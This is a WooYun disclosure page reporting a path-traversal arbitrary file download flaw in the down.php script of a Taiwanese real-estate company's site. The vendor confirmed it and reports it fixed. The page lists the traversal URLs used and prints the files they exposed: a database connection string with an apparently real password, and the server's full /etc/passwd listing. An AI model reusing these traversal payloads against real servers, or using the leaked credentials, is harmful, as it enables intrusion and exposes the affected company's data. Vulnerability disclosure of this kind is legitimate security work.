当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0169443

漏洞标题:總太地產設計缺陷任意文件下載(臺灣地區)

相关厂商:總太地產

漏洞作者: 路人甲

提交时间:2016-01-13 12:29

修复时间:2016-01-27 14:33

公开时间:2016-01-27 14:33

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态: 已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-13: 细节已通知厂商并且等待厂商处理中
2016-01-14: 厂商已经确认,细节仅向厂商公开
2016-01-24: 细节向核心白帽子及相关领域专家公开
2016-01-27: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

rt

详细说明:

目标:http://**.**.**.**
构造,

http://**.**.**.**/down.php?hDFile=../../down.php


1.png


配置文件

http://**.**.**.**/down.php?hDFile=../../include/php_script/common.php


common.php中

$DB_str = "mysql,localhost,Zongtai-WWW,zongtai,zongtaiZONGTAI22513338";
$NowWebSite = "http://**.**.**.**/";
$Config['UserFilesPath'] = '/smarteditupfiles/';


/etc/passwd

http://**.**.**.**/down.php?hDFile=../../../../../../etc/passwd


passwd中

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
mysql:x:500:500::/home/mysql:/bin/false
mabubu:x:501:524::/Services/Files/upload_files/mabubu:/bin/false
sobdeall:x:502:524::/Services/Files/upload_files/sobdeall:/bin/false
sisso:x:503:524::/Services/Files/upload_files/sisso:/bin/false
mabubu_test:x:504:524::/Services/Files/upload_files_test/mabubu:/bin/false
sisso_test:x:505:524::/Services/Files/upload_files_test/sisso:/bin/false
kaloo:x:506:524::/Services/Files/upload_files/kaloo:/bin/false
teaman:x:507:524::/Services/Files/upload_files/teaman:/bin/false
booklife:x:508:524::/Services/Files/programing/booklife/upload_files:/bin/false
kaloo_test:x:509:524::/Services/Files/upload_files_test/kaloo:/bin/false
ponijohn:x:510:524::/Services/Files/programing/ponijohn/upload_files:/bin/false
teaman_test:x:511:524::/Services/Files/programing-test/teaman/upload_files/teaman:/bin/false
bestpals:x:512:524::/Services/Files/programing/bestpals/upload_files:/bin/false
lilliputiens:x:513:524::/Services/Files/programing/lilliputiens/upload_files:/bin/false
soapmaker:x:514:524::/Services/Files/programing/soapmaker/upload_files/soapmaker:/bin/false
lilliputiens_test:x:515:524::/Services/Files/programing-test/lilliputiens/upload_files/lilliputiens:/bin/false
minihope:x:516:524::/Services/Files/upload_files/minihope:/bin/false
ymr:x:517:524::/Services/Files/programing/ymr/upload_files/ymr/:/bin/false
ymr_test:x:518:524::/Services/Files/programing-test/ymr/upload_files/ymr:/bin/false
sisso-pos:x:519:524::/Services/Files/fonlego-pos/sisso:/bin/false
shangyu:x:520:524::/Services/Files/shangyu:/bin/false
masmas:x:521:524::/Services/Files/programing/masmas/upload_files/masmas:/bin/false
alatech:x:522:524::/Services/Files/programing/alatech/upload_files/alatech:/bin/false
minihope-pos:x:523:524::/Services/Files/programing/minihope/upload_files/minihope/pos_stock:/bin/false
minihope-mstc:x:524:525::/Services/Files/programing/minihope/upload_files/minihope/minihope-mstc:/bin/false
cht:x:525:526::/Services/Files/programing/cht:/bin/false
geagle:x:526:524::/Services/Files/programing/geagle/upload_files:/bin/false
joederek:x:527:527::/home/joederek:/bin/bash
gennies:x:528:524::/Services/Files/upload_files/gennies:/bin/false
gennies_wp_maternity:x:529:524::/Services/Files/programing-wp/gennies/maternity:/bin/false
gennies_wp_motherhood:x:530:524::/Services/Files/programing-wp/gennies/motherhood:/bin/false
gennies_wp_pregnancy:x:531:524::/Services/Files/programing-wp/gennies/pregnancy:/bin/false
lakeinsports:x:532:524::/Services/Files/programing/lakeinsports/upload_files/lakeinsports:/bin/false
gennies_wp_treasuremap:x:533:533::/Services/Files/programing-wp/gennies/treasuremap:/bin/false
cani:x:534:524::/Services/Files/upload_files/cani:/bin/false
alatech-en:x:575:524::/Services/Files/upload_files/alatech-en:/bin/false
goodhon:x:576:524::/Services/Files/upload_files/goodhon:/bin/false
zongtai-www:x:577:524::/Services/Files/programing/zongtai-www:/bin/false
gennies_wp_mommy-knowledge:x:578:524::/Services/Files/programing-wp/gennies/mommy-knowledge:/bin/false
mombabyfun:x:579:524::/Services/Files/upload_files/mombabyfun:/bin/false
mombabyfun-pos:x:580:524::/Services/Files/upload_files/mombabyfun/pos:/bin/false
lamalama:x:581:581::/Services/Files/upload_files/lamalama:/bin/false
lamalama-return711:x:582:524::/Services/Files/upload_files/lamalama/return711:/bin/false
buddybuddy-pos:x:583:583::/Services/Files/programing/buddybuddy/upload_files/buddybuddy/pos:/bin/false
buddybuddy:x:584:584::/Services/Files/upload_files/buddybuddy:/bin/false
pet_health_food:x:585:585::/Services/Files/programing-wp/buddybuddy/pet_health_food:/bin/false
dollbao:x:586:524::/Services/Files/upload_files/dollbao:/bin/false
sobdeall-pos:x:587:524::/Services/Files/upload_files/sobdeall/pos:/bin/false

漏洞证明:

1.png


common.php

$DB_str = "mysql,localhost,Zongtai-WWW,zongtai,zongtaiZONGTAI22513338";
$NowWebSite = "http://**.**.**.**/";
$Config['UserFilesPath'] = '/smarteditupfiles/';


passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
mysql:x:500:500::/home/mysql:/bin/false
mabubu:x:501:524::/Services/Files/upload_files/mabubu:/bin/false
sobdeall:x:502:524::/Services/Files/upload_files/sobdeall:/bin/false
sisso:x:503:524::/Services/Files/upload_files/sisso:/bin/false
mabubu_test:x:504:524::/Services/Files/upload_files_test/mabubu:/bin/false
sisso_test:x:505:524::/Services/Files/upload_files_test/sisso:/bin/false
kaloo:x:506:524::/Services/Files/upload_files/kaloo:/bin/false
teaman:x:507:524::/Services/Files/upload_files/teaman:/bin/false
booklife:x:508:524::/Services/Files/programing/booklife/upload_files:/bin/false
kaloo_test:x:509:524::/Services/Files/upload_files_test/kaloo:/bin/false
ponijohn:x:510:524::/Services/Files/programing/ponijohn/upload_files:/bin/false
teaman_test:x:511:524::/Services/Files/programing-test/teaman/upload_files/teaman:/bin/false
bestpals:x:512:524::/Services/Files/programing/bestpals/upload_files:/bin/false
lilliputiens:x:513:524::/Services/Files/programing/lilliputiens/upload_files:/bin/false
soapmaker:x:514:524::/Services/Files/programing/soapmaker/upload_files/soapmaker:/bin/false
lilliputiens_test:x:515:524::/Services/Files/programing-test/lilliputiens/upload_files/lilliputiens:/bin/false
minihope:x:516:524::/Services/Files/upload_files/minihope:/bin/false
ymr:x:517:524::/Services/Files/programing/ymr/upload_files/ymr/:/bin/false
ymr_test:x:518:524::/Services/Files/programing-test/ymr/upload_files/ymr:/bin/false
sisso-pos:x:519:524::/Services/Files/fonlego-pos/sisso:/bin/false
shangyu:x:520:524::/Services/Files/shangyu:/bin/false
masmas:x:521:524::/Services/Files/programing/masmas/upload_files/masmas:/bin/false
alatech:x:522:524::/Services/Files/programing/alatech/upload_files/alatech:/bin/false
minihope-pos:x:523:524::/Services/Files/programing/minihope/upload_files/minihope/pos_stock:/bin/false
minihope-mstc:x:524:525::/Services/Files/programing/minihope/upload_files/minihope/minihope-mstc:/bin/false
cht:x:525:526::/Services/Files/programing/cht:/bin/false
geagle:x:526:524::/Services/Files/programing/geagle/upload_files:/bin/false
joederek:x:527:527::/home/joederek:/bin/bash
gennies:x:528:524::/Services/Files/upload_files/gennies:/bin/false
gennies_wp_maternity:x:529:524::/Services/Files/programing-wp/gennies/maternity:/bin/false
gennies_wp_motherhood:x:530:524::/Services/Files/programing-wp/gennies/motherhood:/bin/false
gennies_wp_pregnancy:x:531:524::/Services/Files/programing-wp/gennies/pregnancy:/bin/false
lakeinsports:x:532:524::/Services/Files/programing/lakeinsports/upload_files/lakeinsports:/bin/false
gennies_wp_treasuremap:x:533:533::/Services/Files/programing-wp/gennies/treasuremap:/bin/false
cani:x:534:524::/Services/Files/upload_files/cani:/bin/false
alatech-en:x:575:524::/Services/Files/upload_files/alatech-en:/bin/false
goodhon:x:576:524::/Services/Files/upload_files/goodhon:/bin/false
zongtai-www:x:577:524::/Services/Files/programing/zongtai-www:/bin/false
gennies_wp_mommy-knowledge:x:578:524::/Services/Files/programing-wp/gennies/mommy-knowledge:/bin/false
mombabyfun:x:579:524::/Services/Files/upload_files/mombabyfun:/bin/false
mombabyfun-pos:x:580:524::/Services/Files/upload_files/mombabyfun/pos:/bin/false
lamalama:x:581:581::/Services/Files/upload_files/lamalama:/bin/false
lamalama-return711:x:582:524::/Services/Files/upload_files/lamalama/return711:/bin/false
buddybuddy-pos:x:583:583::/Services/Files/programing/buddybuddy/upload_files/buddybuddy/pos:/bin/false
buddybuddy:x:584:584::/Services/Files/upload_files/buddybuddy:/bin/false
pet_health_food:x:585:585::/Services/Files/programing-wp/buddybuddy/pet_health_food:/bin/false
dollbao:x:586:524::/Services/Files/upload_files/dollbao:/bin/false
sobdeall-pos:x:587:524::/Services/Files/upload_files/sobdeall/pos:/bin/false

修复方案:

..

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2016-01-14 03:47

厂商回复:

感謝通報

最新状态:

2016-01-27:已修復